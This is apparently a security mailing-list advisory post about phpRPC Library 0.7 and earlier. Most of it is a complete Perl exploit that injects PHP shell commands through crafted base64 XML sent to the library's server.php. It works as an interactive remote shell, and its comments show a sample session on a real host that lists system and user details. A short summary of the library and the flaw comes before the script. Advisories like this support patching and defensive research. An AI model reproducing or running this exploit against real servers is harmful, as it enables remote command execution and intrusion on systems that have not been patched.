[EXPL] phpRPC Library XML Exploit

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phpRPC Library XML Exploit
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SUMMARY

" <http://sourceforge.net/projects/phprpc/> phpRPC is meant to be an easy
to use xmlrpc library. Function syntax, and plugging into most weblogs
(xoops, nuke, pn, etc) is greatly simplified with the use of
database/rpc-protocol abstraction. It should run on any php server with
most datbases."

The PHP RPC Library has a vulnerability in the "decode()" function which
is caused when XML data is being parsed.

DETAILS

Exploit:
#!/usr/bin/perl
# phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution
# 0rginal Advisory :
http://www.gulftech.org/?node=research&article_id=00105-02262006
# Greetz to NT and C0d3r
#
#root@host [~]# perl rpc.pl phprpc.sourceforge.net
/modules/phpRPC/server.php
#--== IHS IRAN HOMELAND SECURITY ==--
#
#phpRPC <= 0.7 commands execute exploit by LorD (http://www.ihs.ir)
#
#[IRAN HOMELAND SECURITY]$ uname -a;id;pwd
#Linux sc8-pr-web9.sourceforge.net 2.6.10-1.771_FC2smp #1 SMP Mon Mar 28
01:10:51 EST 2005 i686 i686 i386 GNU/Linux
#uid=65534(nfsnobody) gid=65534(nfsnobody) groups=65534(nfsnobody)
#/home/groups/p/ph/phprpc/htdocs/modules/phpRPC
#_end_
#[IRAN HOMELAND SECURITY]$

use IO::Socket;
print "--== IHS IRAN HOMELAND SECURITY ==--\n\n";
print "phpRPC <= 0.7 commands execute exploit by LorD
(http://www.ihs.ir)\n\n";
if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
PeerPort => "80") || die "connecterror\n";
while (1) {
print '[IRAN HOMELAND SECURITY]$ ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml
version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><base64>'));echo
'_begin_\n';echo `".$cmd."`;echo
'_end_\n';exit;</param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^_end_/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) {print "Exploit Failed\n";exit();}
}
}
else {
print "Usage: perl rpc.pl host path_to_phpRPC\n\n";
print "Example: perl rpc.pl target.com /server.php\n";
exit;
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:lord@xxxxxxxxxxx> lord.



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